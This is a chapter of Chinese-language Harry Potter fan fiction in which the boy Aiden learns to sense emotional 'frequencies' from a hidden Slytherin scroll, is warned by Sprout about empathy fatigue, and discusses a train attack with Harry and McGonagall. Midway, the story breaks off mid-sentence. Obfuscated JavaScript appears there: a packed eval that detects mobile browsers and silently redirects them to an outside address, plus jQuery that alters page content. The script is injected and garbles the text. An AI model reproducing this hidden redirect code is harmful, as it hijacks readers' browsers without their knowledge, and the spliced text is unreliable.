他们下一节课是魔法史，在四楼的一间教室。
宾斯教授是个幽灵——真的幽灵，半透明，飘浮在讲台上方，用单调的声音讲述妖精叛乱的日期和细节。
大多数学生在打瞌睡，包括阿不思，他的头一点点下垂。
但艾登睡不着。
他在观察宾斯教授。
在频率感知中，幽灵不是实体的振动，而是一种……回声。
一种强烈的情绪或记忆留下的印记，在时空中重复播放。
宾斯教授的频率是稳定的、重复的，像一张被划伤的唱片，永远播放同一段旋律。
更有趣的是教室本身。
这里曾经是战场——不是流血的战场，是知识的战场。
艾登能“看见”旧时学生留下的频率印记：无聊的涂鸦、偷偷传递的纸条、打瞌睡时流的口水。这些微小的情绪积累在墙壁里，像一层薄薄的灰尘。
然后他感觉到了别的东西。
在教室后墙，黑板旁边的位置，有一个频率异常点。不是幽灵，不是情绪印记，是某种更实质的东西——一个魔法物品，被隐藏得很好，但在他的感知中像黑暗中的烛火一样明显。
他等到宾斯教授转身在黑板上写日期（字迹直接穿过黑板，飘在空中），悄悄离开座位，走到教室后面。其他学生都在打瞌睡或发呆，没人注意他。
那面墙看起来普通，挂着霍格沃茨历任校长的画像复制品。
但艾登能感觉到，在戈德里克·格兰芬多的画像后面，有东西。
他轻轻推开画像（画像里的格兰芬多不满地嘟囔，但没阻止）。
后面是普通的石墙，但有一块石头颜色略深，边缘有几乎看不见的缝隙。
短-长-短-短-长。
他按佩妮的节奏敲击。
石头滑开，露出一个小壁龛。
里面有一个小木盒，盖子上刻着蛇形图案——和地窖密室门上的图案一样。
艾登打开盒子。
里面不是珠宝，不是金币，而是一卷羊皮纸，用黑色丝带捆着。
羊皮纸很旧，边缘发脆，但保存得很好。
他展开它，文字是熟悉的曲线和点——萨拉查的文字。
但这次有翻译，用更现代的英文写在旁边，笔迹纤细工整：
观察者进阶练习：情感频率
万物有频率，情感尤甚。快乐明亮而轻快，悲伤低沉而缓慢，愤怒尖锐而炽热。
观者不仅能见物体之频率，亦能见情感之频率。
练习一：识别
观察他人，勿用眼，用心。
感知其情感之颜色与振动。
初始可专注于明显情感：大笑者之快乐，哭泣者之悲伤。
熟练后可感知细微情感：掩饰之恐惧，压抑之愤怒。
练习二：屏蔽
过度感知将致负担。
学习屏蔽无关频率，如闭耳不听杂音。
专注一物，屏蔽他物。此技需练习，否则将淹没于他人情感之海。
练习三：共鸣（警告：极端危险）
勿轻易尝试。
与一物或一人之频率达成共鸣，短暂成为其一部分。
可理解其本质，然风险巨大：
可能迷失自我，可能带走他人情感残留，可能被反噬。
情感频率如双刃剑。
善用可助人，恶用可伤人。斯莱特林曾用此技编织恐惧，控制人心。
我悔之。
故留此卷于显眼之处，望后裔得之，用于光明。
——S.S.
下面还有一行小字，笔迹不同，更潦草：
我试过共鸣。
我听见了城堡的哭泣。不要重蹈覆辙。——P.I.
P.I.
佩妮·伊万斯。
艾登的手指拂过那些字母。他奶奶来过这里，找到这个盒子，读过这些文字，尝试过共鸣。而且她留下了警告。
“德思礼先生？”
艾登猛地转身，把羊皮纸塞进长袍。
宾斯教授飘在他面前，半透明的脸上露出困惑的表情。
“你在那里做什么？”
“我……东西掉了，”艾登说，指着地板，“羽毛笔。”
宾斯教授眯起眼睛（如果幽灵能眯眼的话）：“在我的课堂上，学生应该专注于历史，而不是在地上找东西。回到座位，否则我要扣分了。”
“是，教授。”
艾登回到座位，心跳如鼓。
他把羊皮纸小心地折好，塞进长袍内袋。他能感觉到它在那里，像一小块温暖的炭火。
下课时，雨果打着哈欠醒来：“梅林啊，我以为他要讲到天荒地老。为什么魔法史不能有点……我不知道，决斗？叛变？戏剧性的事？”
“因为历史本身就是戏剧，”塞缪尔从旁边经过，抱着她那本厚书，“只是演员都死了，只剩旁白在念台词。”
她向艾登微笑：“魔咒课上很厉害嘛。天生的？”
“运气好，”艾登说。
“运气也是天赋的一种，”塞缪尔说，“拉文克劳休息室有个说法：没有偶然，只有未识之必然。”
她走了，书页在空气中留下墨水和旧纸的气味。
午餐时，艾登几乎没碰食物。他太专注于感知周围的情感频率了。
按照羊皮纸上的练习，他开始尝试“识别”。
最初是混乱的噪音——整个餐厅上千人的情感像一场交响乐，但所有乐器都在胡乱演奏。
快乐、焦虑、无聊、兴奋、嫉妒、爱慕，全部混在一起，震耳欲聋。
他必须屏蔽。
像羊皮纸上说的，闭上眼睛（真正的眼睛和感知的“眼睛”）。
他想象一堵墙，只让一种频率通过。
他选择阿不思。
一开始很难。阿不思坐在他旁边，安静地吃着蛋糕，但他的情感频率复杂得像一团乱麻：表面是平静，下面是焦虑的颤动，更深层是……孤独。一种深刻的、根植于名字和血脉的孤独。艾登能“看见”孤独的颜色：不是黑色，是一种深绿色，像湖底的水草。
“你还好吗？”阿不思突然问。
艾登睁开眼睛（他都没意识到自己闭上了）：“什么？”
“你在发呆。而且你的手在抖。”
艾登低头看自己的手。确实在轻微颤抖，像刚提过重物。感知情感频率比感知物体更耗费精力。
“我没事，”他说，“只是在想事情。”
下午是草药课，在温室。
斯普劳特教授是个矮胖的女巫，戴着补过的帽子，手上满是泥土。她教他们如何给曼德拉草换盆——那些小植物看起来像难看的婴儿，哭声能让人昏迷。
“耳罩！”斯普劳特教授喊道，“戴上耳罩！除非你想睡到圣诞节！”
艾登戴上厚重的耳罩，世界变得模糊。但他仍然能“看见”曼德拉草的频率——它们是一种尖锐、刺耳的振动，像持续的尖叫。当他触碰花盆时，能感觉到植物恐惧的脉动。
“它们害怕，”他脱口而出，然后意识到没人能听见他说话。
但斯普劳特教授注意到了他的口型。她示意他摘下一只耳罩。
“你说什么，亲爱的？”
“它们害怕，”艾登重复，“曼德拉草。被拔出来的时候，它们很害怕。”
斯普劳特教授的眼睛在眼镜后面睁大了：“你能感觉到？”
艾登犹豫了，但点点头。
教授盯着他看了几秒，然后说：“十五年前，有个学生也能感觉到植物的情绪。她后来成了杰出的草药学家，在亚马逊研究魔法植物群落。戴好耳罩，德思礼先生。课后留下，我想和你谈谈。”
换盆过程混乱而吵闹。
即使戴着耳罩，曼德拉草的哭声仍然穿透，让人头晕。艾登成功完成了任务，他的曼德拉草似乎比其他人的稍微安静一点——也许是因为他动作更轻柔，也许是因为植物感觉到了他的感知。
课后，其他学生离开后，斯普劳特教授把艾登叫到温室角落，那里种着一种巨大的、会打瞌睡的花。
“这种天赋很罕见，”教授说，用沾满泥土的手拍拍他的肩，“植物感知。有些巫师能和动物交流，更少的能和植物交流。但你要小心，德思礼先生。”
“小心什么？”
“共情疲劳，”教授严肃地说，“如果你能感觉到它们的恐惧，那么每一次伤害植物——即使是必要的，比如收割药用部分——都会在你身上留下痕迹。那个去亚马逊的学生，最后不得不退休，因为她再也无法忍受听见植物被砍伐的‘尖叫’。”
艾登想起羊皮纸上的警告。
“我该怎么控制它？”他问。
“边界，”斯普劳特教授说，“设立清晰的边界。告诉自己：‘我能感知，但我不必承担。’否则你会被压垮。魔法部神秘事务司有一个部门叫‘感知者支援中心’，但他们通常只接收成年巫师。如果你需要帮助，随时来找我。”
她给了艾登一小袋种子：“安宁草。种在你的床头，它能吸收负面情绪，让你睡得更好。算是……预防措施。”
艾登接过种子袋，感觉那些微小种子的频率——平静、舒缓，像温柔的摇篮曲。
离开温室时，天已经暗了。城堡亮起灯火，窗户里透出温暖的光。
艾登走在回地窖的路上，手里攥着种子袋，内袋里藏着羊皮纸，脑子里塞满了新知识：魔咒的频率，幽灵的回声，植物的情绪，还有无处不在的情感噪音。
在楼梯转角，他遇到了哈利。
哈利不是一个人。他和麦格教授站在一起，低声交谈，表情严肃。看见艾登，他停下来。
“艾登，”哈利说，勉强微笑，“第一天怎么样？”
“很好，先生。”
“这位是米勒娃·麦格，我们的新任校长，”哈利介绍。
麦格教授向艾登点头，表情依然严肃：“德思礼先生。我听说你在魔咒课上的表现。弗立维教授很受触动。”
“只是运气好，”艾登说，但麦格教授锐利的目光让他知道她不信。
“我们正在讨论列车袭击的事，”哈利说，声音压低，“魔法部认为是偶然事件，缄默人很少出现在那么靠南的地方。但我不确定。你们在车上时，注意到什么异常吗？除了那些……东西。”
艾登想了想：“车停之前，我感觉到铁轨上有个东西。一个护身符，保护性的。它在创造
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033036|194565||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
平静的区域，缄默人无法进入。”
哈利和麦格教授交换了一个眼神。
“你能感觉到护身符？”麦格教授问。
“某种程度上。”
“什么样的护身符？”
“银色的，很小，埋在枕木之间。它发出……稳定的频率。和缄默人的混乱频率相反。”
哈利的表情变得深思：“魔法部在现场什么也没找到。但如果你感觉到了，那说明有人提前放置了保护。有人知道袭击会发生。”
“或者有人制造了袭击，然后放置保护，为了看起来像英雄，”麦格教授冷冷地说。
“我们需要检查所有学生和教职工的背景，”哈利说，“尤其是新来的。”
“包括我？”艾登问。
哈利看着他，绿色眼睛在走廊的火把光中显得很深：“包括所有人。但尤其是你，艾登。你的天赋……很罕见。罕见的东西往往被盯上。”
“我该怎么做？”
“正常上课，学习，交朋友，”哈利说，“但要保持警惕。如果感觉到什么异常——任何异常——立即告诉教授，或者直接找我。”
他拍拍艾登的肩，和麦格教授一起离开了，长袍在身后飘动。
艾登继续走向地窖，但脚步沉重。哈利的话在他脑海中回响：罕见的东西往往被盯上。
回到斯莱特林公共休息室时，大部分学生都在做作业或聊天。壁炉里的绿色火焰跳动，在水下窗户上投下诡异的影子。
艾登找到阿不思，他坐在角落的沙发里，读着一本《初级变形术指南》。
“哈利找你了？”阿不思头也不抬地问。
“你怎么知道？”
“级长们传开了。说波特司长在调查列车袭击，询问所有新生。”
艾登坐下，感觉疲惫如潮水般涌来。一天的信息量太大了：魔咒课的成功，魔法史的发现，草药课的警告，还有哈利的提醒。
“我需要练习，”他低声说，更像是自言自语。
“练习什么？”
艾登没有回答。他从内袋抽出那卷羊皮纸，展开。在绿色炉火的光中，萨拉查的文字和佩妮的注释显得更加神秘。
“那是什么？”阿不思放下书。
“萨拉查·斯莱特林留下的。关于观察者的进阶练习。”
阿不思凑近看，眼镜反射着炉火：“情感频率……共鸣……这很危险，艾登。”
“我知道。但我需要学会控制。今天在餐厅，我差点被情感噪音淹没。斯普劳特教授说如果我不设立边界，会得共情疲劳。”
“那就设立边界。别做危险的部分。”
艾登看着羊皮纸上佩妮的笔迹：我听见了城堡的哭泣。
他的奶奶尝试过共鸣。她听见了城堡的哭泣。什么样的哭泣？为什么哭泣？
“就今晚一次，”他说，“我想试试识别。只是识别，不是共鸣。我需要知道我能做到什么程度。”
阿不思看着他，然后叹气：“好吧。但我要在旁边。如果你看起来不对劲，我就打断你。”
他们等到深夜。宿舍里其他人都睡着后，艾登拿出石板和羊皮纸。
他按照指示，先尝试识别斯科皮的情感频率——因为他睡得最沉。
他闭上眼睛，屏蔽其他噪音，专注于斯科皮。
起初只有睡眠的平静频率，缓慢、深沉。但往下挖掘，艾登感知到更多：焦虑的细丝，像水下的暗流。对父亲期望的压力。对家族名声的负担。还有一种更深的情感——对植物的真正热爱，纯粹的、不受家族约束的热爱。
然后他尝试雨果：简单的快乐，对魔法世界的新奇感，想证明自己的轻微压力（因为是韦斯莱家的孩子，但魔法天赋平平）。
西奥多·布莱克：傲慢的表层下是恐惧，害怕达不到纯血统的标准，害怕让家族失望。
最后是阿不思：复杂的层次。表层的平静，下面的焦虑，再下面的孤独，最深层的……一种决心。不是想成为英雄的决心，是想找到自己的路的决心，想证明自己不仅仅是“哈利·波特的儿子”的决心。
艾登睁开眼睛，大汗淋漓。感知他人的内心像打开水坝，情感汹涌而来，几乎将他淹没。
“怎么样？”阿不思低声问。
“累，”艾登诚实地说，“但……我做到了。我能分辨。”
“那就够了。今晚到此为止。”
艾登点头，收起石板和羊皮纸。但在他躺下前，他做了最后一件事：他拿出斯普劳特教授给的安宁草种子，撒了一点在床头的地板上。
几乎立刻，一种平静的频率弥漫开来，像温柔的毯子包裹住他。情感的噪音退去，留下平静的寂静。
他睡着了，没有做梦。
但在睡眠的最深处，在他意识无法触及的地方，城堡的低语继续着。不是哭泣，是某种更古老、更缓慢的东西，像石头生长，像地基沉降。
而在地窖更深的地方，在那间只有观察者能进入的密室里，石台上的书自动翻过一页。新的一页上，只有一行字，墨迹新鲜，像刚刚写成：
他开始了。
窗外，黑湖深处，那只乌贼用触手碰了碰玻璃，然后游向更深的黑暗，消失在连发光鱼群都不敢涉足的水域。